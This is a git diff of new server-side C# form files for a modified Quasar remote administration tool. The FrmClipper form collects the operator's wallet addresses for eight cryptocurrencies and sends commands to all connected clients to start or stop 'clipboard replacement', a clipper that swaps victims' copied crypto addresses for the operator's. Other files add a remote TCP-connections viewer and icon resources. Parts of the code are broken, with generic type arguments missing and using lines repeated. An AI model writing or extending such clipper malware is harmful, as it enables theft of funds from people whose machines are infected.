this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold); + this.lblTitle.Location = new System.Drawing.Point(12, 9); + this.lblTitle.Name = "lblTitle"; + this.lblTitle.Size = new System.Drawing.Size(350, 15); + this.lblTitle.TabIndex = 0; + this.lblTitle.Text = "Configure your wallet addresses for clipboard replacement:"; + // + // lblBTC + // + this.lblBTC.AutoSize = true; + this.lblBTC.Location = new System.Drawing.Point(12, 40); + this.lblBTC.Name = "lblBTC"; + this.lblBTC.Size = new System.Drawing.Size(31, 15); + this.lblBTC.TabIndex = 1; + this.lblBTC.Text = "BTC:"; + // + // txtBTC + // + this.txtBTC.Location = new System.Drawing.Point(60, 37); + this.txtBTC.Name = "txtBTC"; + this.txtBTC.Size = new System.Drawing.Size(400, 23); + this.txtBTC.TabIndex = 2; + // + // lblLTC + // + this.lblLTC.AutoSize = true; + this.lblLTC.Location = new System.Drawing.Point(12, 69); + this.lblLTC.Name = "lblLTC"; + this.lblLTC.Size = new System.Drawing.Size(29, 15); + this.lblLTC.TabIndex = 3; + this.lblLTC.Text = "LTC:"; + // + // txtLTC + // + this.txtLTC.Location = new System.Drawing.Point(60, 66); + this.txtLTC.Name = "txtLTC"; + this.txtLTC.Size = new System.Drawing.Size(400, 23); + this.txtLTC.TabIndex = 4; + // + // lblETH + // + this.lblETH.AutoSize = true; + this.lblETH.Location = new System.Drawing.Point(12, 98); + this.lblETH.Name = "lblETH"; + this.lblETH.Size = new System.Drawing.Size(32, 15); + this.lblETH.TabIndex = 5; + this.lblETH.Text = "ETH:"; + // + // txtETH + // + this.txtETH.Location = new System.Drawing.Point(60, 95); + this.txtETH.Name = "txtETH"; + this.txtETH.Size = new System.Drawing.Size(400, 23); + this.txtETH.TabIndex = 6; + // + // lblXMR + // + this.lblXMR.AutoSize = true; + this.lblXMR.Location = new System.Drawing.Point(12, 127); + this.lblXMR.Name = "lblXMR"; + this.lblXMR.Size = new System.Drawing.Size(36, 15); + this.lblXMR.TabIndex = 7; + this.lblXMR.Text = "XMR:"; + // + // txtXMR + // + this.txtXMR.Location = new System.Drawing.Point(60, 124); + this.txtXMR.Name = "txtXMR"; + this.txtXMR.Size = new System.Drawing.Size(400, 23); + this.txtXMR.TabIndex = 8; + // + // lblSOL + // + this.lblSOL.AutoSize = true; + this.lblSOL.Location = new System.Drawing.Point(12, 156); + this.lblSOL.Name = "lblSOL"; + this.lblSOL.Size = new System.Drawing.Size(32, 15); + this.lblSOL.TabIndex = 9; + this.lblSOL.Text = "SOL:"; + // + // txtSOL + // + this.txtSOL.Location = new System.Drawing.Point(60, 153); + this.txtSOL.Name = "txtSOL"; + this.txtSOL.Size = new System.Drawing.Size(400, 23); + this.txtSOL.TabIndex = 10; + // + // lblXRP + // + this.lblXRP.AutoSize = true; + this.lblXRP.Location = new System.Drawing.Point(12, 185); + this.lblXRP.Name = "lblXRP"; + this.lblXRP.Size = new System.Drawing.Size(32, 15); + this.lblXRP.TabIndex = 11; + this.lblXRP.Text = "XRP:"; + // + // txtXRP + // + this.txtXRP.Location = new System.Drawing.Point(60, 182); + this.txtXRP.Name = "txtXRP"; + this.txtXRP.Size = new System.Drawing.Size(400, 23); + this.txtXRP.TabIndex = 12; + // + // lblTRX + // + this.lblTRX.AutoSize = true; + this.lblTRX.Location = new System.Drawing.Point(12, 214); + this.lblTRX.Name = "lblTRX"; + this.lblTRX.Size = new System.Drawing.Size(32, 15); + this.lblTRX.TabIndex = 13; + this.lblTRX.Text = "TRX:"; + // + // txtTRX + // + this.txtTRX.Location = new System.Drawing.Point(60, 211); + this.txtTRX.Name = "txtTRX"; + this.txtTRX.Size = new System.Drawing.Size(400, 23); + this.txtTRX.TabIndex = 14; + // + // lblBCH + // + this.lblBCH.AutoSize = true; + this.lblBCH.Location = new System.Drawing.Point(12, 243); + this.lblBCH.Name = "lblBCH"; + this.lblBCH.Size = new System.Drawing.Size(34, 15); + this.lblBCH.TabIndex = 15; + this.lblBCH.Text = "BCH:"; + // + // txtBCH + // + this.txtBCH.Location = new System.Drawing.Point(60, 240); + this.txtBCH.Name = "txtBCH"; + this.txtBCH.Size = new System.Drawing.Size(400, 23); + this.txtBCH.TabIndex = 16; + // + // btnStart + // + this.btnStart.Location = new System.Drawing.Point(220, 280); + this.btnStart.Name = "btnStart"; + this.btnStart.Size = new System.Drawing.Size(75, 30); + this.btnStart.TabIndex = 17; + this.btnStart.Text = "Start"; + this.btnStart.UseVisualStyleBackColor = true; + this.btnStart.Click += new System.EventHandler(this.btnStart_Click); + // + // btnStop + // + this.btnStop.Location = new System.Drawing.Point(301, 280); + this.btnStop.Name = "btnStop"; + this.btnStop.Size = new System.Drawing.Size(75, 30); + this.btnStop.TabIndex = 18; + this.btnStop.Text = "Stop"; + this.btnStop.UseVisualStyleBackColor = true; + this.btnStop.Click += new System.EventHandler(this.btnStop_Click); + // + // btnCancel + // + this.btnCancel.Location = new System.Drawing.Point(382, 280); + this.btnCancel.Name = "btnCancel"; + this.btnCancel.Size = new System.Drawing.Size(75, 30); + this.btnCancel.TabIndex = 19; + this.btnCancel.Text = "Cancel"; + this.btnCancel.UseVisualStyleBackColor = true; + this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click); + // + // FrmClipper + // + this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 15F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(474, 322); + this.Controls.Add(this.btnCancel); + this.Controls.Add(this.btnStop); + this.Controls.Add(this.btnStart); + this.Controls.Add(this.txtBCH); + this.Controls.Add(this.lblBCH); + this.Controls.Add(this.txtTRX); + this.Controls.Add(this.lblTRX); + this.Controls.Add(this.txtXRP); + this.Controls.Add(this.lblXRP); + this.Controls.Add(this.txtSOL); + this.Controls.Add(this.lblSOL); + this.Controls.Add(this.txtXMR); + this.Controls.Add(this.lblXMR); + this.Controls.Add(this.txtETH); + this.Controls.Add(this.lblETH); + this.Controls.Add(this.txtLTC); + this.Controls.Add(this.lblLTC); + this.Controls.Add(this.txtBTC); + this.Controls.Add(this.lblBTC); + this.Controls.Add(this.lblTitle); + this.Font = new System.Drawing.Font("Segoe UI", 9F); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmClipper"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; + this.Text = "Crypto Clipper"; + this.Load += new System.EventHandler(this.FrmClipper_Load); + this.ResumeLayout(false); + this.PerformLayout(); + } + + private System.Windows.Forms.Label lblTitle; + private System.Windows.Forms.Label lblBTC; + private System.Windows.Forms.TextBox txtBTC; + private System.Windows.Forms.Label lblLTC; + private System.Windows.Forms.TextBox txtLTC; + private System.Windows.Forms.Label lblETH; + private System.Windows.Forms.TextBox txtETH; + private System.Windows.Forms.Label lblXMR; + private System.Windows.Forms.TextBox txtXMR; + private System.Windows.Forms.Label lblSOL; + private System.Windows.Forms.TextBox txtSOL; + private System.Windows.Forms.Label lblXRP; + private System.Windows.Forms.TextBox txtXRP; + private System.Windows.Forms.Label lblTRX; + private System.Windows.Forms.TextBox txtTRX; + private System.Windows.Forms.Label lblBCH; + private System.Windows.Forms.TextBox txtBCH; + private System.Windows.Forms.Button btnStart; + private System.Windows.Forms.Button btnStop; + private System.Windows.Forms.Button btnCancel; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmClipper.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmClipper.cs new file mode 100755 index 0000000..11a4704 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmClipper.cs @@ -0,0 +1,104 @@ +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; +using System; +using System.Collections.Generic; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmClipper : Form + { + private readonly Client[] _clients; + + public FrmClipper(Client[] clients) + { + _clients = clients; + InitializeComponent(); + } + + private void FrmClipper_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = $"Crypto Clipper - {_clients.Length} Client(s)"; + + // Load saved wallet addresses + txtBTC.Text = Properties.Settings.Default.ClipperBTC; + txtLTC.Text = Properties.Settings.Default.ClipperLTC; + txtETH.Text = Properties.Settings.Default.ClipperETH; + txtXMR.Text = Properties.Settings.Default.ClipperXMR; + txtSOL.Text = Properties.Settings.Default.ClipperSOL; + txtXRP.Text = Properties.Settings.Default.ClipperXRP; + txtTRX.Text = Properties.Settings.Default.ClipperTRX; + txtBCH.Text = Properties.Settings.Default.ClipperBCH; + } + + private void btnStart_Click(object sender, EventArgs e) + { + var walletAddresses = new Dictionary(); + + if (!string.IsNullOrWhiteSpace(txtBTC.Text)) + walletAddresses["BTC"] = txtBTC.Text.Trim(); + if (!string.IsNullOrWhiteSpace(txtLTC.Text)) + walletAddresses["LTC"] = txtLTC.Text.Trim(); + if (!string.IsNullOrWhiteSpace(txtETH.Text)) + walletAddresses["ETH"] = txtETH.Text.Trim(); + if (!string.IsNullOrWhiteSpace(txtXMR.Text)) + walletAddresses["XMR"] = txtXMR.Text.Trim(); + if (!string.IsNullOrWhiteSpace(txtSOL.Text)) + walletAddresses["SOL"] = txtSOL.Text.Trim(); + if (!string.IsNullOrWhiteSpace(txtXRP.Text)) + walletAddresses["XRP"] = txtXRP.Text.Trim(); + if (!string.IsNullOrWhiteSpace(txtTRX.Text)) + walletAddresses["TRX"] = txtTRX.Text.Trim(); + if (!string.IsNullOrWhiteSpace(txtBCH.Text)) + walletAddresses["BCH"] = txtBCH.Text.Trim(); + + if (walletAddresses.Count == 0) + { + MessageBox.Show("Please enter at least one wallet address.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + // Save wallet addresses + Properties.Settings.Default.ClipperBTC = txtBTC.Text.Trim(); + Properties.Settings.Default.ClipperLTC = txtLTC.Text.Trim(); + Properties.Settings.Default.ClipperETH = txtETH.Text.Trim(); + Properties.Settings.Default.ClipperXMR = txtXMR.Text.Trim(); + Properties.Settings.Default.ClipperSOL = txtSOL.Text.Trim(); + Properties.Settings.Default.ClipperXRP = txtXRP.Text.Trim(); + Properties.Settings.Default.ClipperTRX = txtTRX.Text.Trim(); + Properties.Settings.Default.ClipperBCH = txtBCH.Text.Trim(); + Properties.Settings.Default.Save(); + + foreach (Client client in _clients) + { + client.Send(new DoStartClipper { WalletAddresses = walletAddresses }); + } + + MessageBox.Show($"Clipper started on {_clients.Length} client(s).", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information); + this.Close(); + } + + private void btnStop_Click(object sender, EventArgs e) + { + foreach (Client client in _clients) + { + client.Send(new DoStopClipper()); + } + + MessageBox.Show($"Clipper stopped on {_clients.Length} client(s).", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information); + this.Close(); + } + + private void btnCancel_Click(object sender, EventArgs e) + { + this.Close(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmConnections.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmConnections.Designer.cs new file mode 100755 index 0000000..9d0cdb2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmConnections.Designer.cs @@ -0,0 +1,163 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmConnections + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + Quasar.Server.Utilities.ListViewColumnSorter listViewColumnSorter1 = new Quasar.Server.Utilities.ListViewColumnSorter(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmConnections)); + this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.closeConnectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.lstConnections = new Quasar.Server.Controls.AeroListView(); + this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader3 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader6 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.contextMenuStrip.SuspendLayout(); + this.SuspendLayout(); + // + // contextMenuStrip + // + this.contextMenuStrip.ImageScalingSize = new System.Drawing.Size(20, 20); + this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.refreshToolStripMenuItem, + this.closeConnectionToolStripMenuItem}); + this.contextMenuStrip.Name = "contextMenuStrip"; + this.contextMenuStrip.Size = new System.Drawing.Size(198, 56); + // + // refreshToolStripMenuItem + // + this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; + this.refreshToolStripMenuItem.Size = new System.Drawing.Size(197, 26); + this.refreshToolStripMenuItem.Text = "Refresh"; + this.refreshToolStripMenuItem.Click += new System.EventHandler(this.refreshToolStripMenuItem_Click); + // + // closeConnectionToolStripMenuItem + // + this.closeConnectionToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.uac_shield; + this.closeConnectionToolStripMenuItem.Name = "closeConnectionToolStripMenuItem"; + this.closeConnectionToolStripMenuItem.Size = new System.Drawing.Size(197, 26); + this.closeConnectionToolStripMenuItem.Text = "Close Connection"; + this.closeConnectionToolStripMenuItem.Click += new System.EventHandler(this.closeConnectionToolStripMenuItem_Click); + // + // lstConnections + // + this.lstConnections.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.columnHeader1, + this.columnHeader2, + this.columnHeader3, + this.columnHeader4, + this.columnHeader5, + this.columnHeader6}); + this.lstConnections.ContextMenuStrip = this.contextMenuStrip; + this.lstConnections.Dock = System.Windows.Forms.DockStyle.Fill; + this.lstConnections.ForeColor = System.Drawing.Color.White; + this.lstConnections.FullRowSelect = true; + this.lstConnections.HideSelection = false; + this.lstConnections.Location = new System.Drawing.Point(0, 0); + listViewColumnSorter1.NeedNumberCompare = false; + listViewColumnSorter1.Order = System.Windows.Forms.SortOrder.None; + listViewColumnSorter1.SortColumn = 0; + this.lstConnections.LvwColumnSorter = listViewColumnSorter1; + this.lstConnections.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.lstConnections.Name = "lstConnections"; + this.lstConnections.Size = new System.Drawing.Size(879, 526); + this.lstConnections.TabIndex = 0; + this.lstConnections.UseCompatibleStateImageBehavior = false; + this.lstConnections.View = System.Windows.Forms.View.Details; + this.lstConnections.ColumnClick += new System.Windows.Forms.ColumnClickEventHandler(this.lstConnections_ColumnClick); + // + // columnHeader1 + // + this.columnHeader1.Text = "Process"; + this.columnHeader1.Width = 179; + // + // columnHeader2 + // + this.columnHeader2.Text = "Local Address"; + this.columnHeader2.Width = 95; + // + // columnHeader3 + // + this.columnHeader3.Text = "Local Port"; + this.columnHeader3.Width = 75; + // + // columnHeader4 + // + this.columnHeader4.Text = "Remote Address"; + this.columnHeader4.Width = 95; + // + // columnHeader5 + // + this.columnHeader5.Text = "Remote Port"; + this.columnHeader5.Width = 75; + // + // columnHeader6 + // + this.columnHeader6.Text = "State"; + this.columnHeader6.Width = 85; + // + // FrmConnections + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(879, 526); + this.Controls.Add(this.lstConnections); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.Name = "FrmConnections"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Connections []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmConnections_FormClosing); + this.Load += new System.EventHandler(this.FrmConnections_Load); + this.contextMenuStrip.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private Controls.AeroListView lstConnections; + private System.Windows.Forms.ColumnHeader columnHeader1; + private System.Windows.Forms.ColumnHeader columnHeader2; + private System.Windows.Forms.ColumnHeader columnHeader3; + private System.Windows.Forms.ColumnHeader columnHeader4; + private System.Windows.Forms.ColumnHeader columnHeader5; + private System.Windows.Forms.ColumnHeader columnHeader6; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip; + private System.Windows.Forms.ToolStripMenuItem refreshToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem closeConnectionToolStripMenuItem; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmConnections.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmConnections.cs new file mode 100755 index 0000000..9ba4f2e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmConnections.cs @@ -0,0 +1,187 @@ +using System; +using System.Collections.Generic; +using System.Windows.Forms; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; + +namespace Quasar.Server.Forms +{ + public partial class FrmConnections : Form + { + /// + /// The client which can be used for the connections manager. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly TcpConnectionsHandler _connectionsHandler; + + /// + /// + /// + private readonly Dictionary _groups = new Dictionary(); + + /// + /// Holds the opened connections manager form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new connections manager form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the connections manager form. + /// + /// Returns a new connections manager form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmConnections CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmConnections f = new FrmConnections(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the connections manager form. + public FrmConnections(Client client) + { + _connectClient = client; + _connectionsHandler = new TcpConnectionsHandler(client); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the connections manager message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _connectionsHandler.ProgressChanged += TcpConnectionsChanged; + MessageHandler.Register(_connectionsHandler); + } + + /// + /// Unregisters the connections manager message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_connectionsHandler); + _connectionsHandler.ProgressChanged -= TcpConnectionsChanged; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + /// + /// Called whenever a TCP connection changed. + /// + /// The message handler which raised the event. + /// The current TCP connections of the client. + private void TcpConnectionsChanged(object sender, TcpConnection[] connections) + { + lstConnections.Items.Clear(); + + foreach (var con in connections) + { + string state = con.State.ToString(); + + ListViewItem lvi = new ListViewItem(new[] + { + con.ProcessName, con.LocalAddress, con.LocalPort.ToString(), + con.RemoteAddress, con.RemotePort.ToString(), state + }); + + // Highlight Quasar client connection in red + if (con.ProcessName.Equals("Client.exe", StringComparison.OrdinalIgnoreCase) || + con.ProcessName.Equals("Client", StringComparison.OrdinalIgnoreCase)) + { + lvi.ForeColor = System.Drawing.Color.Red; + } + + if (!_groups.ContainsKey(state)) + { + // create new group if not exists already + ListViewGroup g = new ListViewGroup(state, state); + lstConnections.Groups.Add(g); + _groups.Add(state, g); + } + + lvi.Group = lstConnections.Groups[state]; + lstConnections.Items.Add(lvi); + } + } + + private void FrmConnections_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = WindowHelper.GetWindowTitle("Connections", _connectClient); + _connectionsHandler.RefreshTcpConnections(); + } + + private void FrmConnections_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + } + + private void refreshToolStripMenuItem_Click(object sender, EventArgs e) + { + _connectionsHandler.RefreshTcpConnections(); + } + + private void closeConnectionToolStripMenuItem_Click(object sender, EventArgs e) + { + bool modified = false; + + foreach (ListViewItem lvi in lstConnections.SelectedItems) + { + _connectionsHandler.CloseTcpConnection(lvi.SubItems[1].Text, ushort.Parse(lvi.SubItems[2].Text), + lvi.SubItems[3].Text, ushort.Parse(lvi.SubItems[4].Text)); + modified = true; + } + + if (modified) + { + _connectionsHandler.RefreshTcpConnections(); + } + } + + private void lstConnections_ColumnClick(object sender, ColumnClickEventArgs e) + { + lstConnections.LvwColumnSorter.NeedNumberCompare = (e.Column == 2 || e.Column == 4); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmConnections.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmConnections.resx new file mode 100755 index 0000000..b8bc596 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmConnections.resx @@ -0,0 +1,662 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + 